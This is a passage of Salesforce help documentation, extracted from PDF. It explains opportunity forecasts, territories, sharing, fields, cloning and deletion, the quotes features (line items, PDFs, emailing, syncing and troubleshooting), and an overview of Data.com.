User Permissions Needed To view forecasts of other users: To override your forecast: View All Forecasts Override Forecasts

The Opportunity Forecasts related list is available on the opportunity detail page if your organization uses customizable forecasting. It lists the forecast overrides for the selected opportunity. A forecast override is an amount that more accurately represents your forecasted sales. 1. In the Opportunity Forecasts related list, view a snapshot of the overrides made on that opportunity. 2. Click Edit to change the overrides. See Overriding Customizable Forecasts for instructions on overriding opportunity forecast amounts. 3. If your organization uses territory management, the territory to which the opportunity is assigned displays in the Territory drop-down list. If you are a forecast manager for multiple territories, the drop-down list shows the territories from which you can override the opportunity. Choose a value and click Edit to override the opportunity from the desired territory.

See Also:
Customizable Forecasting Overview Managing Customizable Forecasts Using Opportunities Territory Management Overview

2273

Opportunities

Changing the Territory of an Opportunity

Changing the Territory of an Opportunity


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change an opportunity's territory: Edit on opportunities

If you have edit access to an opportunity, you can change the territory that is associated with the opportunity: 1. On the opportunity detail page, click Change next to the Territory field. 2. Choose a territory from the Opportunity Territory drop-down list. The drop-down list shows: Territories where both the opportunity owner and the account on the opportunity are assigned to the territory. Territories to which you have administrative access that are also associated with the account on the opportunity. Territories to which you have administrative access that are above the account on the opportunity in the territory hierarchy.

3. Click Save to finish and return to the opportunity detail page.

See Also:
Using Opportunities Territory Management Overview FAQ: Territory Management

Creating Opportunities

2274

Opportunities

Creating Opportunities

Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: To create opportunities: Read on opportunities Create on opportunities

To create a new opportunity, select Opportunity from the Create New drop-down list in the sidebar, or click New next to Recent Opportunities on the opportunities home page. Enter the information for the opportunity. Click Save when you are finished, or click Save & New to save the current opportunity and add another. If enabled for your organization, click Save & Add Product to save the new opportunity and add a product. To associate an opportunity with an account or contact, view the existing account or contact, and select Opportunity from the Create New drop-down list in the sidebar. You must have at least read access to the account or contact in order to associate an opportunity with it. When you create an opportunity from a contact detail page, that contact is automatically listed as the primary contact in the Contact Roles related list of the opportunity. If Quick Create is enabled by your administrator, you can also add a new opportunity on the opportunities home page. If your organization uses multiple currencies, your opportunity amounts are initially shown in your personal currency. Change the Opportunity Currency picklist if you want to track the sales revenue in another currency. Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type when creating a record. Record types determine the picklist values and business processes available when you create or edit a record. If your organization uses territory management, opportunities that you create are automatically assigned a territory when both of the following conditions are met: You belong to or have edit privileges on the same territory as the account on the opportunity. You have no other territories in common with that account.

For example, if you are in the territories Berkeley and San Francisco and the account is in the territories Portland, San Francisco, and Seattle, the opportunity will be assigned to the San Francisco territory. If your organization uses divisions, the division of a new opportunity is automatically set to the division of the related account.

2275

Opportunities

Cloning Opportunities

Note: In Professional, Enterprise, Unlimited, and Developer Editions, opportunities you create are automatically given the forecast category that corresponds to the opportunity stage you assign. Your administrator correlates opportunity stages and forecast categories when editing the Stage picklist values. If the opportunity is set to close in a given month, as determined by the Close Date, the opportunity is automatically added to the forecast for that particular month, unless you assign it the Omitted category while editing the forecast. See Displaying and Editing Forecasts.

See Also:
Cloning Opportunities Opportunity Fields Opportunities Home

Cloning Opportunities
Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: To clone opportunities: Read on opportunities Create on opportunities

The Clone button on an opportunity quickly creates a new opportunity with the same information as the existing opportunity, for example, when you need to add multiple opportunities for the same account. Cloning an opportunity varies if products are involved: If the opportunity does not have any associated products, click Clone on the opportunity to clone it. If the opportunity has associated products and your organization requires products on opportunities, click Clone to clone the opportunity and the associated products. If the opportunity has associated products and your organization does not require products on opportunities, select Clone with products from the Clone drop-down button to clone the opportunity and the associated products. Alternatively, select Clone without products to clone the opportunity without including the associated products.

Enter or change any information for the new opportunity, and click Save.

2276

Opportunities

Sharing Opportunities

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Opportunity Fields

Sharing Opportunities
Available in: Enterprise, Unlimited, and Developer Editions

Your administrator defines the organization sharing model as well as your organization's default opportunity access levels for territories. However, you can extend sharing privileges for your opportunities individually. You can use opportunity sharing to increase access to your opportunities; you cannot restrict access below your organizations default access levels. To view and manage sharing details, click Sharing on the opportunity detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the opportunity. On this page, you can do any of the following: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Add to grant access to the record for other users, groups, roles, or territories. Note: To share an opportunity with another user, that user must have the Read permission on opportunities.

Click Expand List to view all users that have access to the record. For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Sharing Accounts Territory Management Overview Granting Access to Records Viewing Which Users Have Access

Opportunity Fields
The available fields vary according to which Salesforce Edition you have.

An opportunity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

2277

Opportunities

Opportunity Fields

Field
Account Name

Description Name of account that opportunity is linked to. You can enter the account name, or select the account using the lookup icon. If you change the account for an opportunity that has partners, all partners are deleted from the Partners related list.

Amount

Estimated total sale amount. For organizations using multiple currencies, the amount is shown in your personal currency by default. Change the Opportunity Currency picklist to track the amount in another currency. For opportunities with products, the amount is the sum of the related products. You cannot directly edit the amount unless the opportunity has no products. To change the amount for an opportunity that contains products, edit the sales price or quantity of the related products. If you change the price book for an opportunity that has products, all products are deleted from the Products related list, but the value in the opportunity's Amount field remains.

Close Date

Date when you plan to close the opportunity. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Opportunities with a Close Date in a given month will tally in the forecast for that month, unless you assign them to the Omitted category while editing the forecast. When you set an open opportunity's Stage to a type of Closed/Won, the Close Date is set to the current date.

Created By

User who created the opportunity including creation date and time. (Read only) Listing of custom links for opportunities as set up by your administrator. Description of the opportunity. Up to 32KB of data are allowed. Only the first 255 characters display in reports. Calculated revenue based on the Amount and Probability fields. Forecast category name that is displayed in reports, opportunity detail and edit pages, opportunity searches, and opportunity list views. The setting for an opportunity is tied to its Stage. For more information on forecast categories, see Working with Forecast Categories on page 2243. Source of the opportunity, for example, Advertisement, Partner, or Web. Entry is selected from a picklist of available

Custom Links

Description

Expected Revenue

Forecast Category

Lead Source

2278

Opportunities

Opportunity Fields

Field

Description values, which are set by an administrator. Each picklist value can have up to 40 characters.

Modified By

User who last changed the opportunity fields, including modification date and time. This does not track changes made to any of the related list items on the opportunity. (Read only) Description of next task in closing opportunity. Up to 255 characters are allowed in this field. The default currency for all currency amount fields in the opportunity. Amounts are displayed in the opportunity currency, and are also converted to the users personal currency. Available only for organizations that use multiple currencies. For opportunities with products, the currency is tied to the currency of the associated price book. You cannot directly edit this field unless you first delete the products.

Next Step

Opportunity Currency

Opportunity Division

Division to which the opportunity belongs. This value is automatically inherited from the related account. Available only in organizations that use divisions to segment their data.

Opportunity Name

Name of the opportunity, for example, Acme.com - Office Equipment Order. Up to 120 characters are allowed in this field. Assigned owner of opportunity. Not available in Personal Edition. Name of the field that determines what picklist values are available for the record. The record type may be associated with a sales process. Available in Enterprise, Unlimited, and Developer Editions. Read-only field that indicates the opportunity is owned by a partner user. Name of the campaign responsible for generating the opportunity. When you click the lookup icon for the empty field, the dialog shows the first 100 active campaigns. Enter search terms to find other records. For opportunities created during lead conversion, this field is automatically filled in with the campaign name from the lead. If the lead has multiple associated campaigns, the campaign with the most recently updated member status is inserted into the opportunity.

Opportunity Owner

Opportunity Record Type

Partner Account

Primary Campaign Source

2279

Opportunities

Opportunity Fields

Field

Description For opportunities with multiple influential campaigns, click Edit next the primary campaign in the Campaign Influence related list on the opportunity detail page and select the Primary Campaign Source checkbox. The campaign will display in the Primary Campaign Source field on the opportunity.

Private

Checkbox indicating that the opportunity is private. Only the record owner, users above that role in the hierarchy, and administrators can view, edit, and report on private opportunities. Not available in Group or Personal Editions. Private opportunities do not trigger Big Deal Alerts or workflow rules. If you have customizable forecasting, private opportunities count towards your forecasts. If you do not have customizable forecasting, private opportunities do not count towards your forecasts. Percentage of estimated confidence in closing the opportunity. The Probability value is always updated by a change in the Stage value, even if Probability is marked as read only on your page layout. Users with access to edit this field can override the value.

Probability

Quantity

Total of all Quantity field values for all products in the Products related list if the opportunity has products. General use field if the opportunity does not have products. Current stage of opportunity based on selections you make from a predefined list, for example, Prospect or Proposal. Entry is selected from a picklist of up to 100 available values, which are set by an administrator. Each picklist value can have up to 40 characters. Your administrator correlates the values in this picklist with Forecast Category values that determine how the opportunity contributes to your forecast. When you set an open opportunity's Stage to a type of Closed/Won, the Close Date is set to the current date.

Stage

Synced Quote

The quote that is synced to the opportunity. Only one quote can sync to the opportunity at a time. Territory with which the opportunity is associated. Only available if your organization has territory management. See Changing the Territory of an Opportunity. Type of opportunity, for example, Existing Business or New Business. Entry is selected from a picklist of available values,

Territory

Type

2280

Opportunities

Opportunity Fields

Field

Description which are set by an administrator. Each picklist value can have up to 40 characters.

Opportunity Product Fields


Field
Active Created By Date Discount Last Modified By Line Description List Price Opportunity Product Product Name Quantity Sales Price Subtotal

Description Indicates whether the price book entry (product and list price) is active and can be added to an opportunity or quote. Name of the user who created the product. Close date of a particular opportunity product. The discount for the product as a percentage. User who last changed the opportunity product fields. (Read only) Text to distinguish this opportunity product from another. Price of the product within the price book including currency. Name of the opportunity for this opportunity product. Item listed in the Products related list on an opportunity. Title for the product. The number of units for the opportunity product. Price for the products in the opportunity product. The difference between standard and discounted pricing. Converted currency amounts when the opportunity's currency is different from the user's currency. Sum of all the product amounts for this opportunity product.

Total Price

See Also:
Using Opportunities Creating Opportunities Cloning Opportunities Product Fields

Deleting Opportunities

2281

Opportunities

Deleting Opportunities

Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: To delete opportunities: Read on opportunities Delete on opportunities

To delete an opportunity, click Del next to the opportunity on the opportunities list page or in the Opportunities related list of an account or contact. You can also delete an opportunity by clicking Delete on the opportunity detail page. When you delete an opportunity, all related notes, attachments, quotes, quote line items, quote PDFs, events and tasks, partner relationships, competitor strengths/weaknesses, contact roles, and stage history are deleted. Associated contacts and accounts are not deleted with the opportunity. The deleted opportunity is moved to the Recycle Bin. If you undelete the opportunity, any related items are also restored. Note: You can delete an opportunity if you are an administrator, the opportunity owner, or a user above the opportunity owner in the organization role hierarchy, and you have the Delete permission on opportunities.

See Also:
Recycle Bin

Searching for Opportunities


Available in: All Editions that signed up prior to Summer '09 Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions that signed up during or after Summer '09 Not Available in Database.com

User Permissions Needed To view opportunities: Read on opportunities

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search.

2282

Opportunities

Finding Similar Opportunities

3. From the search results, click an item to open it or click Edit, if available. You can also create an opportunity list view to find opportunities that match specific criteria.

See Also:
Search Overview

Finding Similar Opportunities


Available in: Enterprise, Unlimited, Developer Editions

User Permissions Needed To find and bookmark similar opportunities: Read on opportunities

You can create bookmarks for Closed/Won opportunities that are similar to your current deal so you can quickly access useful information, such as previous notes, contacts, or salespeople. The records that you bookmark are saved to the Similar Opportunities related list. When you search for similar opportunities, Salesforce looks for records in the Closed/Won stage that share one or more fields or related lists with the current opportunity. The search criteria for your organization is pre-determined by your administrator. The search finds a maximum of 10,000 opportunities with close dates in a three-month period and displays up to 300 of the records that best match the search criteria. The results are ranked by the number of matching fields. 1. On the opportunity's detail page, click Find in the Similar Opportunities related list. You see a list of similar opportunities that closed in the past three months. 2. Filter the search results to see different records. Select a different range from the Close Date Within dropdown to view records that closed in a different three-month period. Select one or more fields in the Match Criteria sidebar to filter the results. For example, select the account name to only see opportunities associated with that account or select the site city and country to only see opportunities from the specified region. Deselect the match criteria to return to the original search results.

3. Look for similar opportunities that will be helpful to you. Hover over an opportunity name to see how the record is similar to your current deal. The matching attributes are highlighted in the Match Criteria sidebar. Click an opportunity name to see more information about the record. You can only view these details if you have access to the opportunity.

2283

Quotes

Quotes Overview

4. Select the checkboxes next to the opportunities that you'd like to add to the Similar Opportunities related list and click Bookmark. To choose all opportunities on the page, select the checkbox in the header row.

See Also:
Enabling and Configuring Similar Opportunities Understanding Similar Opportunities Searches

QUOTES
Quotes Overview
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view quotes: To create quotes: Read on quotes. Create on quotes

A quote is a record showing proposed prices for products and services. You create a quote from an opportunity and its products. Each opportunity can have multiple associated quotes, and any one of them can be synced with the opportunity. When a quote and an opportunity are synced, any change to line items in the quote will sync with products on the opportunity, and vice versa. When your quote is complete, you can generate a PDF and email it to your customer. Quote PDFs are based on templates. We offer a standard template, and you can also create your own.

See Also:
Opportunities Overview Creating Quotes Quotes Syncing Overview

Creating Quotes

2284

Quotes

Creating Quotes

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view quotes: To create quotes: Read on quotes. Create on quotes

Tip: You can create a set of quotes to show different combinations of products, discounts, and quantities so customers can compare prices. 1. Click New Quote on the Quotes related list on an opportunity. The Subtotal, Discount, Total Price, and Grand Total fields show values from the opportunity. Note: The price book, products, and list prices must be active in the opportunity.

2. Enter a quote name. 3. In the Expiration Date field, enter the date when the quote will no longer be valid. 4. Enter taxes and shipping amounts as needed. The currency for these values comes from the opportunity. For multicurrency organizations, the line item's currency is the same as the currency of the associated opportunity, which is inherited from the product record. If the product currency is different from the user currency, currency-related fields display both currencies: the product's currency is converted to the user's currency, and the converted amount appears in parentheses. 5. Enter a contact name or click the lookup icon ( ) to select a contact. The quote shipping and billing addresses come from the associated account. 6. Click Save when you're done. When you save a quote: A unique quote number is added. Any products on the opportunity are copied to the quote as line items. The grand total is recalculated based on any taxes or shipping information you entered.

Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type when creating a record. Record types determine the picklist values and business processes available when you create or edit a record.

See Also:
Displaying and Editing Quotes Creating Quote PDFs Quotes Syncing Overview

Displaying and Editing Quotes


2285

Quotes

Displaying and Editing Quotes

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change quotes: Edit on quotes AND Read on Quotes

Displaying Quotes From the Quotes related list on an opportunity, click the quote number to display the quote. All quotes associated with the opportunity appear in this list. If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before clicking into that record's detail page. Editing Quotes To update a quote, click Edit in any of these areas. On the quote detail page. Next to the quote in the Quotes related list of an opportunity. In the hover details for the quote in the Recent Items list.

Make changes as needed. Note that you can't change which opportunity is associated with the quote. Click Save when you're done. Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator. Related Lists The related lists on a quote show key information related to the quote, including quote line items and the quote PDFs that have been created and emailed. Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator. To directly add new items, click New (or the equivalent button) at the top of a related list. To change the number of records shown for related lists, click View More below a related list, or click fewer or more at the bottom of the page.

The related lists you see are determined by your: Personal customization Administrator's page layout customizations Permissions to view related data

2286

Quotes

Adding Line Items to Quotes

Printing Quotes To open a printable display of the record details, in the top-right corner of the page, click Printable View.

See Also:
Adding Line Items to Quotes Editing Quote Line Items Quotes Fields Deleting Quotes

Adding Line Items to Quotes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To add quote line items: Edit on quotes AND Read" on products and price books

To add line items to a quote: 1. Click Add Line Item in the Quote Line Items related list. 2. If no price book was selected on the opportunity, select a price book for the quote. Otherwise, the quote uses the opportunity's price book. 3. Enter search criteria in the lookup to locate a line item. 4. Select the products you want to add and click Select. 5. Enter the correct values in the fields. The sales price defaults to the product's list price as recorded in the price book. The sales price may be editable depending on your permissions. For multicurrency organizations, the line item's currency is the same as the currency of the associated opportunity, which is inherited from the product record. If the product currency is different from the user currency, currency-related fields display both currencies: the product's currency is converted to the user's currency, and the converted amount appears in parentheses. 6. Click Save to save and exit, or Save & More to add more line items. The line items are added to the Quote Line Items related list. The grand total in the detail section is the sum of the related line items, and the discount is the average discount for the line items. If the product has default schedules, the schedules are not created when you add the line item. If the line item is copied from the opportunity, you can view the schedule from the opportunity. To change a schedule, edit the product record directly. Note: If this quote is synced with an opportunity, the new line item is copied to the opportunity as a product in the Products related list.

2287

Quotes

Adding Line Items to Quotes

Using the Quote Line Items Related List


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize page layouts: To view page layouts (enhanced page layout editor only): Customize Application View Setup

The Quote Line Items related list shows the line items on a quote. If the quote is synced to its related opportunity, any changes or additions to quote line items are updated in the opportunity's Products related list, and vice versa. Your administrator can customize the quote line item edit and detail pages you see when you select a line item on a quote. You can create and customize your own page layouts by clicking Your Name > Setup > Customize > Quotes > Quote Line Items > Page Layouts.

See Also:
Opportunities with Quotes and Quote Line Items Report Managing Page Layouts

Editing Quote Line Items


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit or delete quote line items: Edit on quotes AND Read" on products and price books

To edit a quote line item: 1. Click Edit next to the line item in the Quote Line Items related list. You can also click Edit All to edit all line items at once. 2. Enter the correct values in the fields. The sales price defaults to the product's list price as recorded in the price book. The sales price may be editable depending on your user permissions. For multicurrency organizations, the line item's currency is the same as the currency of the associated opportunity, which is inherited from the product record. If the product currency is different from the user currency, currency-related fields

2288

Quotes

Deleting Quotes

display both currencies: the product's currency is converted to the user's currency, and the converted amount appears in parentheses. If you have a quote line item that has a discount, you can't edit the Discount field if the product has either a default schedule established on the product record or an individual schedule established on the opportunity product record. 3. Click Save. If the quote is synced with an opportunity, the opportunity product that corresponds to the quote line item is updated with your changes. Note: If an opportunity is syncing with a quote, and the quote record is locked by an approval process, you can't edit the opportunity products.

Deleting Quote Line Items If the quote is synced with an opportunity, deleting the quote line item also deletes the corresponding product from the opportunity's Products related list. To delete a line item: Click Del next to the line item in the quote's Quote Line Items related list. Click Delete on the quote line item's detail page.

Deleting Quotes
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view quote lists: To delete quotes: Read on quotes Delete on quotes

You can delete a quote if you're an administrator, the quote owner, or a user above the quote owner in the organization role hierarchy and you have the appropriate permissions. You can delete a quote from: An opportunityOpen an opportunity, and in the Quotes related list, click Del next to the quote. The quote detail pageOpen the quote and click Delete.

When you delete a quote, all related PDFs, notes, and attachments are deleted. If the quote is synced with an opportunity, the record is removed from the opportunity's Quotes related list. The deleted quote is moved to the Recycle Bin. If you undelete a previously synced quote, it will no longer be synced with the opportunity.

Creating Quote PDFs

2289

Quotes

Creating Quote PDFs

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create quote PDFs: Edit on quotes

You can generate quote PDFs to print or email to customers. You can generate a quote PDF from either the standard template, which comes built in, or a custom template you design. Quote PDFs use the language and locale of the running user. Note: In some cases, a field may not appear on the quote templates palette or on a PDF created from a template. If a user is unable to view or update a field because of field-level security settings, that field won't appear on PDFs created from a template, even if the template includes that field. Read-only fields will appear on PDFs. A field that appears on a quote page layout but does not have a value for a given quote will appear on the quote templates palette, but won't appear on PDFs created from that quote. Quote line item fields that don't contain data won't appear as columns in a list when a PDF is created, even if the template includes that field. For example, if no quote line items offer a discount, the Discount column won't appear, even if the list includes the Discount field. If a related list is not included on a quote page layout, it won't appear on the template palette or any PDFs for quotes that use that page layout.

Creating Quote PDFs from the Standard Template If you haven't created any custom templates or generated any PDFs, you start from the standard template. 1. On the quote detail page, click Create PDF to generate a preview. 2. Click Save to Quote to save the PDF to the Quote PDFs related list. The PDF name is the quote name plus a version number, such as AcmeQuote_V1. You can also save and email your quote directly from the preview page. Creating Quote PDFs by Selecting a Template If you've already created a PDF, you can select a template from a list of those you've recently used. If you haven't created a PDF, or you want to use a template that's not listed, you can search for the one you want. The standard template is always available. 1. On the quote detail page, click the Create PDF drop-down list. 2. Either select your template from the Recent Templates list (if available), or click Choose Template and search for the one you want. Tip: To bypass the list of recent templates and select a different one, click the Create PDF button on the quote detail page. 3. Click Create PDF to generate a preview. 4. Click Save to Quote to save the PDF to the Quote PDFs related list. The PDF name is the quote name plus a version number, such as AcmeQuote_V1.

2290

Quotes

Emailing Quote PDFs

You can also save and email your quote directly from the preview page.

See Also:
Emailing Quote PDFs Understanding Language, Locale, and Currency Opportunities with Quotes and Quote PDFs Report

Emailing Quote PDFs


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To email quote PDFs: Edit on quotes

When you create a quote PDF, you can email it to your customer for approval. The quote must have a status that allows emailing. 1. Start by generating the email. You can: Click Save and Email Quote on the PDF preview. Click Email Quote on the quote detail page. Click Email next to the PDF in the Quote PDFs related list.

An email task opens with the current quote PDF attached. Tip: To email a previous version, click Email next to that version in the Quote PDFs related list.

2. Enter the customer's email address, a subject, and body text, and then click Send.

See Also:
Creating Quote PDFs Quotes Fields Sending Email

Quotes Fields

2291

Quotes

Quotes Fields

Available in: Professional, Enterprise, Unlimited, and Developer Editions

This table lists the fields (in alphabetical order) that make up a quote. Some of these fields may not be visible or editable depending on your page layout, field-level security settings, or Salesforce edition. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) Note: If an opportunity product's currency is different from the user's currency in a multicurrency organization, currency fields for quotes and quote line items appear in both currencies. the product's currency is converted to the user's currency, and the converted amount appears in parentheses. Fields in quote custom reports appear in the report's currency. Currency fields include Subtotal, Tax, and Grand Total. Field
Account Name Additional To

Description Name of account the quote's opportunity is linked to. (Read only) Additional address field for use if needed. Not displayed on the page layout by default. Name of the person or company associated with the additional address. Billing address for the account associated with the quote. Name of the person or company the quote is billed to. Name of the contact associated with the quote. By default, this is the primary contact on the opportunity. User who created the quote and creation date and time. (Read only) Description of the quote or notes to help you differentiate between quote versions. Weighted average of all line item discounts on the quote. Can be any positive number up to 100. (Read only) Email address of the contact associated with the quote. If available, automatically filled in when you add a contact. Date this quote is no longer valid. Fax number for the contact associated with the quote. If available, automatically filled in when you add a contact. Total price of the quote plus shipping and taxes. (Read only) User who most recently changed the quote and modified date and time. (Read only) Number of line items on the quote. Name of the opportunity associated with the quote. (Read only) Phone number of the contact associated with the quote. If available, automatically filled in when you add a contact.

Additional To Name Bill To Bill To Name Contact Name

Created By Description

Discount

Email

Expiration Date Fax

Grand Total Last Modified By

Line Items Opportunity Name Phone

2292

Quotes

Quotes Fields

Field
Quote Name Quote Number Quote To

Description Name of the quote. Automatically-generated number identifying the quote. (Read only) Address to send the quote to for approval, such as the address of a third-party agency representing a buyer. Not displayed on the page layout by default. Name of the entity (such as a person or business) the quote is sent to for approval. Name of the field that determines what picklist values are available for the record. The record type may be associated with a sales process. Available in Enterprise, Unlimited, and Developer Editions. Total shipping and handling costs for the quote. Shipping address for the account associated with the quote. Name of the entity (such as a person or company) the quote line items are shipped to. Current status of the quote. The standard options are: None Draft Needs Review In Review Approved Rejected Presented Accepted Denied

Quote To Name

Record Type

Shipping and Handling Ship To Ship To Name

Status

Your administrator determines which status is the default for new quotes and which statuses allow you to email a quote PDF.
Subtotal

Total of the quote line items before discounts, taxes, and shipping are applied. (Read only) Indicates whether the quote syncs with its associated opportunity. (Read only.) Total taxes for the quote. Total of the quote line items after discounts and before taxes and shipping. (Read only)

Syncing

Tax Total Price

Quote Line Item Fields


This table lists the fields (in alphabetical order) that make up a quote line item.

2293

Quotes

Quotes Fields

Field
Created By Date Discount Last Modified By Line Description Line Item Number List Price Product Product Code Quantity

Description User who created the line item and creation date and time. (Read only) Service, effective, or other date for the product. Discount you apply to the line item. You can enter a number with or without the percent symbol and you can use up to two decimal places. User who most recently changed the line item and modify date and time. (Read only) Description of the product in the line item. Automatically system-generated number that identifies the line item. (Read only) Price of the product within the price book including currency. (Read only) Name of the line item product as listed in the price book. (Read only) Internal code or product number used to identify the product. Number of units of this line item's product included in the quote. Value must be one or greater. If a quote is synced with an opportunity, this field is updated from the quote line item to the opportunity product. This field also appears in the Products list on the Opportunity Forecast Edit page, if you use forecasting for your opportunities (depending on which forecasting version you use). Name of the quote the line item is for. Price you currently want to use for the product. Initially, the sale price for a product added to an opportunity or quote is the products list price from the price book, but you can change it here. If a quote is synced with an opportunity, this field is updated from the quote line item to the opportunity product. If a quote is synced with an opportunity, this field is updated from the quote line item to the opportunity product. This field also appears in the Products list on the Opportunity Forecast Edit page, if you use forecasting for your opportunities (depending on which forecasting version you use). Indicates whether the line item uses schedules in the opportunity. Note that default schedules are not carried over from the opportunity when opportunity products are copied to a quote. Line item's sales price multiplied by the quantity. Line item's sales price multiplied by the quantity minus the discount.

Quote Name Sales Price

Schedule

Subtotal Total Price

See Also:
Displaying and Editing Quotes Creating Quotes

Searching for Quotes


2294

Quotes

Searching for Quotes

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view quotes Read on quotes

Search for quotes by either name or number. 1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields. 2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. You can also create a quote list view to find quotes that match specific criteria.

See Also:
Search Overview Search Fields Creating Custom List Views

Quotes Syncing Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Quotes syncing lets you link a quote to the opportunity it was created from and synchronize all updates between the two records. An opportunity can have multiple quotes, but it can only sync with one quote at a time. While a quote and an opportunity are synced, any addition or change to the list of products in one record syncs with the list of products in the other one. So adding a line item to a quote updates the synced opportunity's Products related list, and adding a product to the opportunity updates the synced quote's Quote Line Items related list. Product sorting also syncs between the two records. The quote and opportunity continue to sync each way until you stop syncing or delete one of the records. You can sync quotes and opportunities that don't have any products. When you add a product to either record, it's automatically added to the record it's synced to. If an opportunity and a quote are synced, the opportunity identifies the synced quote in two places: The Synced Quote field on the Opportunity detail page. The Syncing checkbox in the Quotes related list.

2295

Quotes

Quotes Syncing Overview

If you stop the sync between a quote and an opportunity, the link is broken and the records are no longer automatically updated with each other's changes.

See Also:
Syncing Quotes and Opportunities

Syncing Quotes and Opportunities


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync quotes: Create on quotes

To sync a quote with an opportunity: 1. Open the quote you want to sync and click Start Sync. 2. In the dialog boxes, click Continue, Sync, then Done. The quote and the opportunity are now linked for syncing, which takes place any time you add or update a quote line item or opportunity product. The opportunity's Synced Quote field and Quotes related list identify the quote that's currently synced. To stop sync between a quote and an opportunity, open the synced quote and click Stop Sync. Updates are no longer synced between the records. To sync a different quote with an opportunity, follow the steps for syncing a quote. The previously synced quote stops syncing and the new quote starts.

See Also:
Quotes Syncing Overview Troubleshooting Quotes Syncing

Troubleshooting Quotes Syncing

2296

Data.com (Formerly Jigsaw)

Quotes Syncing Overview

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To sync quotes: Create on quotes

You may get error messages if you try to sync quotes under certain conditions. If so, find your error below and learn how to solve the problem. This quote can't be synced because it has inactive or archived products. If the product isn't active, edit the product and select the Active check box. If the product has been archived, delete the product if the opportunity is not closed.

This quote can't be synced because it has an inactive or archived price book. If the price book is inactive, edit the price book and select the Active check box. If the price book has been archived, delete the price book if the opportunity is not closed.

This quote can't be synced because it has inactive or archived list prices. If the list price isn't active, edit the list price and select the Active check box for the list price. If the list price has been archived, delete the list price if the opportunity is not closed.

This quote can't be synced because it has an inactive currency. Activate the currency. This quote can't be synced because one or more of the schedules for the opportunity products have changed since the quote was created. Either create a new quote and sync that one, or open the product and delete the schedule, then recreate the schedule. The SyncedQuote field is read only within a trigger. Your organization may be using an Apex trigger that is attempting to modify the SyncedQuote field. The SyncedQuote field is read only and can't be modified with a trigger. Contact your system administrator to modify the trigger.

DATA.COM (FORMERLY JIGSAW)


Data.com Overview

2297

Data.com (Formerly Jigsaw)

Data.com Overview

Available in: Contact Manager, Developer, Enterprise, Group, Professional, and Unlimited Editions

Watch a Demo (3:19 minutes) Data.com is a leading provider of business information and data services that leverages crowd-sourced content contributed by its global business-to-business community of over 1.6 million members. Data.com has over 24 million up-to-date business contacts. Contacts come from Jigsaw, and accounts come from Dun & Bradstreet. Note: Prior to the Winter '12 release of Salesforce, Data.com was known as Jigsaw or Jigsaw.com.

Within Salesforce, you can search for Data.com accounts and contacts, and if you have a Data.com license, you can add them to Salesforce. You can add your contact search results as either contacts or leads. It's remarkably easy to find the accounts and contacts you need, and using Data.com is a great way to quickly expand your sales network. Go to the Data.com tab to search for accounts. Generate a broad list based on criteria like company name, industry, and location. Then use filters to narrow your results based on number of employees, revenue, and more. Need contacts? Get them for a specific account, starting from the account record. Your search automatically includes the company's website, but you can add criteria like name or email, location, and more on the Data.com tab. Filters like Department and Title make it easy to narrow your results and get a list you can work. Use phone or email to make connections right away, or add the records to Salesforce as contacts or leads. Want to analyze the impact of Data.com data on your business? Use the Jigsaw Reports AppExchange package. It offers eight preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue. To maintain the accuracy of your CRM records in Salesforce, use Data.com's Clean feature. It works on all your Salesforce account, contact, and lead recordsadded from Data.com or not. To get Data.com Clean: If you're a new Data.com user, download and install the Data.com for Salesforce AppExchange package and configure Salesforce to use its clean features. If you're already using the Data.com for Salesforce AppExchange package, you may need to reconfigure it for use with Data.com in Salesforce.

Data.com Clean is available in Developer, Enterprise, Professional, and Unlimited editions.

See Also:
